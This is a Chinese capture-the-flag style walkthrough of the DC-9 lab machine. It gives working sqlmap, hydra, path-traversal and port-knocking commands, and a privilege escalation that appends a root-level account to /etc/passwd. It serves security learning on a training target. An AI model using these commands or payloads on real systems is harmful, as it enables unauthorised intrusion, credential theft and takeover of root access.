赞
踩
这是DC靶机系列的终章了,所以我决定把我的思路以及走过的弯路详细记录一下。权当抛砖引玉,希望对大家有帮助。
扫描网段,靶机地址为192.168.145.129。
nmap -sP 192.168.145.*
对端口等信息进一步探测,可以看到开放了80端口,而22端口则显示为filtered(这里借用了别人的截图,懒得再重新装靶机了),端口状态filtered由于报文无法到达指定的端口,nmap不能够决定端口的开放状态。
nmap -sS -A -p1-65535 -T4 192.168.145.129
扫描网站目录,我都逐个访问了一下没啥有用的信息。
dirsearch -u http://192.168.145.129/
收集一下网站中间件等信息,中间件为apache2.4.38,就没有其它啥有用的信息了。
whatweb -v 192.168.145.129
直接访问网站,随便点了一下,没有啥特别的。
有个登录框,然后我就弱口令爆破试了一下,没爆破出来。
我又去网上查了一下apache2.4.38漏洞,说是存在一个ssrf漏洞。我就复制别人的poc来打,但还是失败告终。然后我就sqlmap跑了一下登录的地方,发现没有sql注入。
sqlmap -r 2.txt
此时我就没思路了,抓包胡乱测试了一会,然后突然想到在Search这里也存在参数。
把Search的包抓下来,放到sqlmap跑一下,存在sql注入。
sqlmap -r 1.txt
查看库,一共有三个。
sqlmap -r 1.txt --dbs
我们先看users里面的表,只有一个表,rong这个表是我后面自己创建的不必理会。
sqlmap -r 1.txt -D users --tables
看一下表里面都有啥吧。
sqlmap -r 1.txt -D users -T UserDetails --columns
无需多言,查看username和passwd这个两个字段值,一堆用户名和密码。
- sqlmap -r 1.txt -D users -T UserDetails -C username --dump
- sqlmap -r 1.txt -D users -T UserDetails -C password --dump
我们把它分别保存到user.txt和passwd.txt中,然后去爆破一下登录框。别看有那么多的绿色的,其实一个都不对,全是登录不上的。
hydra -L user.txt -P passwd.txt -t 6 -vV -e ns 192.168.145.129 http-post-form "/manage.php:username=^USER^&password=^PASS^&submit=login:username or password is nois not exists"
然后我想起前面还有个Staff的库,看看里面有啥玩意。
sqlmap -r 1.txt -D Staff --tables
查看Users表,没想也有Username和Password。
sqlmap -r 1.txt -D Staff -T Users --columns
查看Password和Username,用户为admin,密码为transorbital1
- sqlmap -r 1.txt -D Staff -T Users -C Username --dump
- sqlmap -r 1.txt -D Staff -T Users -C Password --dump
去登录看看,可以登录上去。
随便点了一下,发现在Add Record可以添加东西。我试了试在Position和Email写入一句话木马,不过没啥用,被过滤了单引号好像。
想起前面有一堆的账号和密码,拿去ssh爆破一下,发现无法连接,提示被拒绝,并且端口是过滤状态。这时候我就没思路了,去看一下别人的思路,说是从File does not exits中猜测可能存在文件包含漏洞。
测试一下,还真的有哩,这里读取了/etc/passwd。
http://192.168.145.129/welcome.php?file=../../../../etc/passwd
其中的/etc/knockd.conf里的配置会导致ssh连接被拒绝,它通过动态的添加iptables规则来隐藏系统开启的服务。使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。举个例子就明白了,下面我们就读取/etc/knockd.con,可以看见它配置了7469,8475,9842三个端口。意思就是我们要按照顺序访问这个三个端口,22端口才会开启。
http://192.168.145.129/welcome.php?file=../../../../etc/knockd.conf
按照顺序访问一下端口咯,最后再扫一下22端口发现变成open了。
- nmap -p 7460 192.168.145.129
- nmap -p 8475 192.168.145.129
- nmap -p 9842 192.168.145.129
接下来还是九头蛇爆破ssh,爆破出来三个账号。
hydra -L user.txt -P passwd.txt ssh://192.168.145.129
三个账号都远程连接上去看看,没发现有啥提示。然后三个账号都查看了一下sudo权限,发现没有。
查看suid权限,去网上搜了一下ssh-keysign提权,搞了一会发现不行。
find / -perm -u=s -type f 2>/dev/null
然后又在网站目录下面找到mysql的配置文件,连接上去想着能不能udf提权,发现mysql不是以root权限运行滴,也就提权不了。
思路又断了,这里我就直接说吧。其实在/home/janitor目录下面是有提示的,只不过是被隐藏了。要数输入ls -la才能发现,而我习惯输入ls来查看文件,所以就没发现(逆天了,老弟)。其他两个用户对应的目录下面没有东西,只有janitor用户才有。
进入到目录里面,发现有个密码文件。
把里面的密码添加到上面的passwd.txt文件中,再去ssh爆破。
ssh爆破出新的账号。
远程连接上去看看,查看是否具有sudo权限啥的,test这个玩意具有sudo权限。
直接去看看这是个啥玩意,cat查看了一下,一堆的乱码,那么估计是一个exe程序啥的。然后我就往上层目录看看,在/opt/devstuff发现有test.py和test.spec文件。
我粗略看了一下,这个test.py是告诉我们那个test程序是干嘛的,而test.spec是生成那个test程序的(因为里面是c代码)。解释一下test.py的代码,就是读取第一个文件的内容且赋值到output变量上,再写入第二个文件里面。
举个例子
./test.py 1.txt 2.txt
代码把1.txt的内容追加到2.txt里面。
既然我们的test是追加内容的程序而且有root权限,那我们直接往/etc/passwd文件写入一个有root权限的账号即可,先生成加密的密码。
openssl passwd -1 -salt 用户名 密码
再在靶机的/tmp目录下创建个文件(这个是存放临时文件的目录,谁都有权限创建文件),并且按照root账号的格式往里面写入一个账号密码。
echo 'test:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0::/root:/bin/bash' > a
最后运行test程序,把a里面的内容写入/etc/passwd里面。
sudo ./test /tmp/a /etc/passwd
切换test账号即可。
到root目录里面查看flag。
这就是DC靶机的最终章了,写的比较详细,基本我走过的弯路都记录下来了,希望对大家有帮助。DC之旅到此结束了,希望大家网安道路越走越远。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。